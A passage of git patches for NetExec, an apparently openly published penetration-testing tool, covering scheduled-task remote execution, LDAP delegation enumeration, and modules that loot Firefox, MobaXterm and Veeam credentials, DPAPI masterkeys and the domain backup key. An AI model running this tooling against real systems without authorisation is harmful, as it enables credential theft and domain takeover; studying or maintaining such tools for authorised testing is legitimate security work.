nxc/modules/schtask_as.py | 3 --- nxc/protocols/smb/atexec.py | 3 --- 2 files changed, 6 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 61716e86..5b294e38 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -278,9 +278,6 @@ class TSCH_EXEC: tsch.hSchRpcDelete(dce, f"\\{self.task}") return - self.logger.info(f"Running task \\{self.task}") - tsch.hSchRpcRun(dce, f"\\{self.task}") - done = False while not done: self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}") diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index ee597231..b0ed35b4 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -151,9 +151,6 @@ class TSCH_EXEC: self.logger.fail(str(e)) return - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") - done = False while not done: self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") From 627bc5ee18e39961c9a8f56dcda4cd8a5b5c355b Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 11 Nov 2024 14:48:21 -0500 Subject: [PATCH 086/376] dns-resolver object change with the nxc/connection.py --- nxc/protocols/ldap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f92e8396..7412bf26 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,7 +3,6 @@ import hashlib import hmac import os -import dns.resolver from binascii import hexlify from datetime import datetime, timedelta from re import sub, I @@ -34,6 +33,7 @@ from impacket.smbconnection import SMBConnection, SessionError from nxc.config import process_secret, host_info_colors from nxc.connection import connection +from nxc.connection import resolver from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter, nxc_logger from nxc.protocols.ldap.bloodhound import BloodHound @@ -790,8 +790,8 @@ class ldap(connection): def dc_list(self): # Building the search filter - resolver = dns.resolver.Resolver() - resolver.nameservers = [self.host] + resolv = resolver.Resolver() + resolv.nameservers = [self.host] search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] @@ -810,7 +810,7 @@ class ldap(connection): break # If a record has been found, stop checking further try: - answers = resolver.resolve(name, record_type) + answers = resolv.resolve(name, record_type) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() @@ -825,11 +825,11 @@ class ldap(connection): elif record_type == "NS": self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") found_record = True - except dns.resolver.NXDOMAIN: + except resolv.NXDOMAIN: self.logger.fail(f"{name} = Host not found (NXDOMAIN)") - except dns.resolver.Timeout: + except resolv.Timeout: self.logger.fail(f"{name} = Connection timed out") - except dns.resolver.NoAnswer: + except resolv.NoAnswer: self.logger.fail(f"{name} = DNS server did not respond") except Exception as e: self.logger.fail(f"{name} encountered an unexpected error: {e}") From 7586145d24b9a95638cfb0ff26ee243c9dfff7f8 Mon Sep 17 00:00:00 2001 From: Jamie Hankins Date: Tue, 12 Nov 2024 17:08:52 +0000 Subject: [PATCH 087/376] Fix nmap XML parser when looking for ftp service --- nxc/parsers/nmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/parsers/nmap.py b/nxc/parsers/nmap.py index 69118c33..64d06f79 100644 --- a/nxc/parsers/nmap.py +++ b/nxc/parsers/nmap.py @@ -3,7 +3,7 @@ from nxc.logger import nxc_logger # right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases protocol_dict = { - "Ftp": {"ports": [21], "services": ["Ftp"]}, + "ftp": {"ports": [21], "services": ["ftp"]}, "ssh": {"ports": [22, 2222], "services": ["ssh"]}, "smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]}, "ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]}, From 3358f77d2282626a741dc11ee00147aa284efa3f Mon Sep 17 00:00:00 2001 From: Jamie Hankins Date: Tue, 12 Nov 2024 17:40:39 +0000 Subject: [PATCH 088/376] Add support for WMI and NFS in nmap XML parser --- nxc/parsers/nmap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/parsers/nmap.py b/nxc/parsers/nmap.py index 64d06f79..ce0c7259 100644 --- a/nxc/parsers/nmap.py +++ b/nxc/parsers/nmap.py @@ -11,6 +11,8 @@ protocol_dict = { "rdp": {"ports": [3389], "services": ["ms-wbt-server"]}, "winrm": {"ports": [5985, 5986], "services": ["wsman"]}, "vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]}, + "wmi": {"ports": [135], "services": ["msrpc"]}, + "nfs": {"ports": [2049], "services": ["nfs"]}, } From 620f4208b448b2ef3238c712df8dba3d7b0dd864 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 13 Nov 2024 08:23:40 -0500 Subject: [PATCH 089/376] Fix veeam output --- nxc/modules/veeam.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index a44fa2e5..cd2fc0cb 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -142,7 +142,7 @@ class NXCModule: context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.") # Stripping whitespaces and newlines - output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()] + output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()] # Error handling if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped: @@ -154,7 +154,8 @@ class NXCModule: try: for account in output_stripped: user, password = account.split(" ", 1) - password = password.replace("WHITESPACE_ERROR", " ") + password = password.strip().replace("WHITESPACE_ERROR", " ") + user = user.strip() context.log.highlight(f"{user}:{password}") if " " in password: context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"') From 3fff8b17212b423053dd707a77818537103504f1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 13 Nov 2024 08:25:58 -0500 Subject: [PATCH 090/376] Remove weird header in PR template --- .github/PULL_REQUEST_TEMPLATE.md | 8 -------- 1 file changed, 8 deletions(-) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index d345ef99..6289c4a1 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,11 +1,3 @@ ---- -name: Pull request -about: Update code to fix a bug or add an enhancement/feature -title: '' -labels: '' -assignees: '' - ---- ## Description Please include a summary of the change and which issue is fixed, or what the enhancement does. From 496b002ad21c02b3062ca457bcd07d9abd78f930 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Nov 2024 06:22:38 -0500 Subject: [PATCH 091/376] Remove check for sAMAccountName, there should always be one --- nxc/protocols/ldap.py | 84 +++++++++++++++++++++---------------------- 1 file changed, 41 insertions(+), 43 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3a996d90..862a116b 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1091,7 +1091,7 @@ class ldap(connection): UF_TRUSTED_FOR_DELEGATION = 0x80000 UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 UF_ACCOUNTDISABLE = 0x2 - """SERVER_TRUST_ACCOUNT = 0x2000""" + SERVER_TRUST_ACCOUNT = 0x2000 def printTable(items, header): colLen = [] @@ -1124,7 +1124,7 @@ class ldap(connection): f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") - # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") To listing RBCD to DCs + # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] @@ -1143,56 +1143,54 @@ class ldap(connection): protocolTransition = 0 try: - sAMAccountName = item.get("sAMAccountName") - if sAMAccountName: + sAMAccountName = item["sAMAccountName"] - userAccountControl = int(item.get("userAccountControl", 0)) - objectType = item.get("objectCategory") + userAccountControl = int(item["userAccountControl"]) + objectType = item.get("objectCategory") - if userAccountControl & UF_TRUSTED_FOR_DELEGATION: - delegation = "Unconstrained" - rightsTo.append("N/A") - elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: - delegation = "Constrained w/ Protocol Transition" - protocolTransition = 1 + if userAccountControl & UF_TRUSTED_FOR_DELEGATION: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 - if item.get("msDS-AllowedToDelegateTo") is not None: - if protocolTransition == 0: - delegation = "Constrained" - rightsTo = item.get("msDS-AllowedToDelegateTo") + if item.get("msDS-AllowedToDelegateTo") is not None: + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = item.get("msDS-AllowedToDelegateTo") - # Not an elif as an object could both have RBCD and another type of delegation - if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: - databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") - rbcdRights = [] - rbcdObjType = [] - sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) - if len(sd["Dacl"].aces) > 0: - search_filter = "(&(|" - for ace in sd["Dacl"].aces: - search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) - delegUserResp_parse = parse_result_attributes(delegUserResp) + # Not an elif as an object could both have RBCD and another type of delegation + if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: + databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") + rbcdRights = [] + rbcdObjType = [] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) + if len(sd["Dacl"].aces) > 0: + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + delegUserResp_parse = parse_result_attributes(delegUserResp) - for rbcd in delegUserResp_parse: - rbcdRights.append(str(rbcd.get("sAMAccountName"))) - rbcdObjType.append(str(rbcd.get("objectCategory"))) + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) - - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - for rights, objType in zip(rbcdRights, rbcdObjType): - answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) - - if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: if int(userAccountControl) & UF_ACCOUNTDISABLE: self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: - # Check if the entry is invalid, i.e., for "Unconstrained N/A" - if not (delegation == "Unconstrained" and rightsTo == ["N/A"]): - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + for rights, objType in zip(rbcdRights, rbcdObjType): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + + if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") + else: + # Check if the entry is invalid, i.e., for "Unconstrained N/A" + if not (delegation == "Unconstrained" and rightsTo == ["N/A"]): + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") From 0fc09fae53140b2bb3e36365d7378e6d9f50642a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Nov 2024 06:29:12 -0500 Subject: [PATCH 092/376] Filter only unconstrained delegation on DCs --- nxc/protocols/ldap.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 862a116b..c7b36467 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1148,7 +1148,8 @@ class ldap(connection): userAccountControl = int(item["userAccountControl"]) objectType = item.get("objectCategory") - if userAccountControl & UF_TRUSTED_FOR_DELEGATION: + # Filter out DCs, unconstrained delegation to DCs is not a useful information + if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & SERVER_TRUST_ACCOUNT: delegation = "Unconstrained" rightsTo.append("N/A") elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: @@ -1188,9 +1189,7 @@ class ldap(connection): if int(userAccountControl) & UF_ACCOUNTDISABLE: self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: - # Check if the entry is invalid, i.e., for "Unconstrained N/A" - if not (delegation == "Unconstrained" and rightsTo == ["N/A"]): - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") From 573eb600028d628273ef8adab788defa037fab39 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Nov 2024 06:40:07 -0500 Subject: [PATCH 093/376] Small formating changes --- nxc/protocols/ldap.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c7b36467..b9e5e4b2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1091,7 +1091,7 @@ class ldap(connection): UF_TRUSTED_FOR_DELEGATION = 0x80000 UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 UF_ACCOUNTDISABLE = 0x2 - SERVER_TRUST_ACCOUNT = 0x2000 + UF_SERVER_TRUST_ACCOUNT = 0x2000 def printTable(items, header): colLen = [] @@ -1124,12 +1124,12 @@ class ldap(connection): f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") - # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs + # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] - resp = self.search(search_filter, attributes, 0) + resp = self.search(search_filter, attributes) answers = [] self.logger.debug(f"Total of records returned {len(resp):d}") resp_parse = parse_result_attributes(resp) @@ -1149,7 +1149,7 @@ class ldap(connection): objectType = item.get("objectCategory") # Filter out DCs, unconstrained delegation to DCs is not a useful information - if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & SERVER_TRUST_ACCOUNT: + if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT: delegation = "Unconstrained" rightsTo.append("N/A") elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: @@ -1171,8 +1171,8 @@ class ldap(connection): search_filter = "(&(|" for ace in sd["Dacl"].aces: search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) delegUserResp_parse = parse_result_attributes(delegUserResp) for rbcd in delegUserResp_parse: From bac7a34285f49a3c069b9017ddbedff7ecf26152 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Nov 2024 06:46:50 -0500 Subject: [PATCH 094/376] Removing disabled account checks, these are already filtered by the ldap query --- nxc/protocols/ldap.py | 12 +++--------- nxc/protocols/ldap/proto_args.py | 2 +- 2 files changed, 4 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b9e5e4b2..386b55c9 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1179,17 +1179,11 @@ class ldap(connection): rbcdRights.append(str(rbcd.get("sAMAccountName"))) rbcdObjType.append(str(rbcd.get("objectCategory"))) - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - for rights, objType in zip(rbcdRights, rbcdObjType): - answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + for rights, objType in zip(rbcdRights, rbcdObjType): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index e97f9845..47314a39 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -17,7 +17,7 @@ def proto_args(parser, parents): vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") - vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain.") + vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") From f5d5a1b4fea1d4e0b941cc07e983e5d66816570f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 14 Nov 2024 14:10:13 -0500 Subject: [PATCH 095/376] Use imported constants instead of redefining --- nxc/protocols/ldap.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 386b55c9..a5401d8d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -21,6 +21,7 @@ from impacket.dcerpc.v5.samr import ( UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, + UF_SERVER_TRUST_ACCOUNT, ) from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants @@ -1087,12 +1088,6 @@ class ldap(connection): self.logger.highlight(f"{attr:<20} {vals}") def find_delegation(self): - # Constants for delegation types - UF_TRUSTED_FOR_DELEGATION = 0x80000 - UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 - UF_ACCOUNTDISABLE = 0x2 - UF_SERVER_TRUST_ACCOUNT = 0x2000 - def printTable(items, header): colLen = [] From 743076acd3bdb7aaae5b756f9d1ad99011b95d75 Mon Sep 17 00:00:00 2001 From: TheToddLuci0 Date: Fri, 15 Nov 2024 17:53:15 -0600 Subject: [PATCH 096/376] Allow for empty domains --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b7c4ed29..60aa9b29 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -241,7 +241,7 @@ class smb(connection): self.hostname = self.host self.targetDomain = self.host - self.domain = self.targetDomain if not self.args.domain else self.args.domain + self.domain = self.targetDomain if self.args.domain is None else self.args.domain if self.args.local_auth: self.domain = self.hostname From c64cf0a93aeb884438f40cdaf68968e9c74ed535 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 15 Nov 2024 18:56:12 -0500 Subject: [PATCH 097/376] Fix module options and rstrip to remove trailing null byte --- nxc/modules/ioxidresolver.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py index 51ab3fd7..e4d45b40 100644 --- a/nxc/modules/ioxidresolver.py +++ b/nxc/modules/ioxidresolver.py @@ -18,8 +18,8 @@ class NXCModule: def options(self, context, module_options): """DIFFERENT show only ip address if different from target ip (Default: False)""" - if module_options and "DIFFERENT" in module_options: - self.pivot = module_options.get("DIFFERENT", "false").lower() in ("true", "1") + self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"] + def on_login(self, context, connection): try: rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}") @@ -39,7 +39,7 @@ class NXCModule: try: ip_address(NetworkAddr[:-1]) if self.pivot: - if NetworkAddr.rtrip() != connection.host.rtrip(): + if NetworkAddr.rstrip("\x00") != connection.host: context.log.highlight(f"Address: {NetworkAddr}") else: context.log.highlight(f"Address: {NetworkAddr}") From 0f98d923401a810d17d4ce5997f2985af390844a Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 22 Nov 2024 17:18:21 +0100 Subject: [PATCH 098/376] Upgrade dploot to 3.0.3 --- nxc/modules/firefox.py | 35 ++-- nxc/modules/mobaxterm.py | 112 +++--------- nxc/modules/mremoteng.py | 16 +- nxc/modules/rdcman.py | 109 +++--------- nxc/modules/vnc.py | 15 +- nxc/modules/wam.py | 68 +++++++ nxc/modules/wifi.py | 38 ++-- nxc/protocols/smb.py | 333 +++++++++++++---------------------- nxc/protocols/smb/dpapi.py | 97 ++++++++++ nxc/protocols/smb/firefox.py | 66 +++++-- pyproject.toml | 2 +- tests/e2e_commands.txt | 2 + 12 files changed, 434 insertions(+), 459 deletions(-) create mode 100644 nxc/modules/wam.py create mode 100644 nxc/protocols/smb/dpapi.py diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index 28c96349..8930c52e 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,5 +1,5 @@ from dploot.lib.target import Target -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: @@ -16,10 +16,11 @@ class NXCModule: multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): - """Dump credentials from Firefox""" + """COOKIES Get also Firefox cookies""" + self.gather_cookies = "COOKIES" in module_options def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -41,19 +42,25 @@ class NXCModule: use_kcache=use_kcache, ) + def firefox_callback(secret): + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}") + context.db.add_dpapi_secrets( + target.address, + "FIREFOX", + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") + try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=context.log) + firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback) firefox_triage.upgrade_connection(connection=connection.conn) - firefox_credentials = firefox_triage.run() - for credential in firefox_credentials: - context.log.highlight( - "[{}][FIREFOX] {} {}:{}".format( - credential.winuser, - credential.url + " -" if credential.url != "" else "-", - credential.username, - credential.password, - ) - ) + firefox_triage.run(gather_cookies=self.gather_cookies) except Exception as e: context.log.debug(f"Error while looting firefox: {e}") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 0ce6012d..de479803 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,10 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - self.conn = None - self.target = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) + self.pvkbytes = get_domain_backup_key(connection) - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") - - self.target = Target.create( - domain=domain, + target = Target.create( + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - try: - self.conn = DPLootSMBConnection(self.target) - self.conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=self.target, - conn=self.conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -115,14 +48,15 @@ class NXCModule: context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + elif isinstance(credential, MobaXtermPassword): + log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + context.log.highlight(f"[{credential.winuser}] {log_text}") + try: triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - _, credentials = triage.triage_mobaxterm() - for credential in credentials: - if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) - elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 968f0c02..875fbb73 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,5 +1,4 @@ import ntpath -from dploot.lib.smb import DPLootSMBConnection from 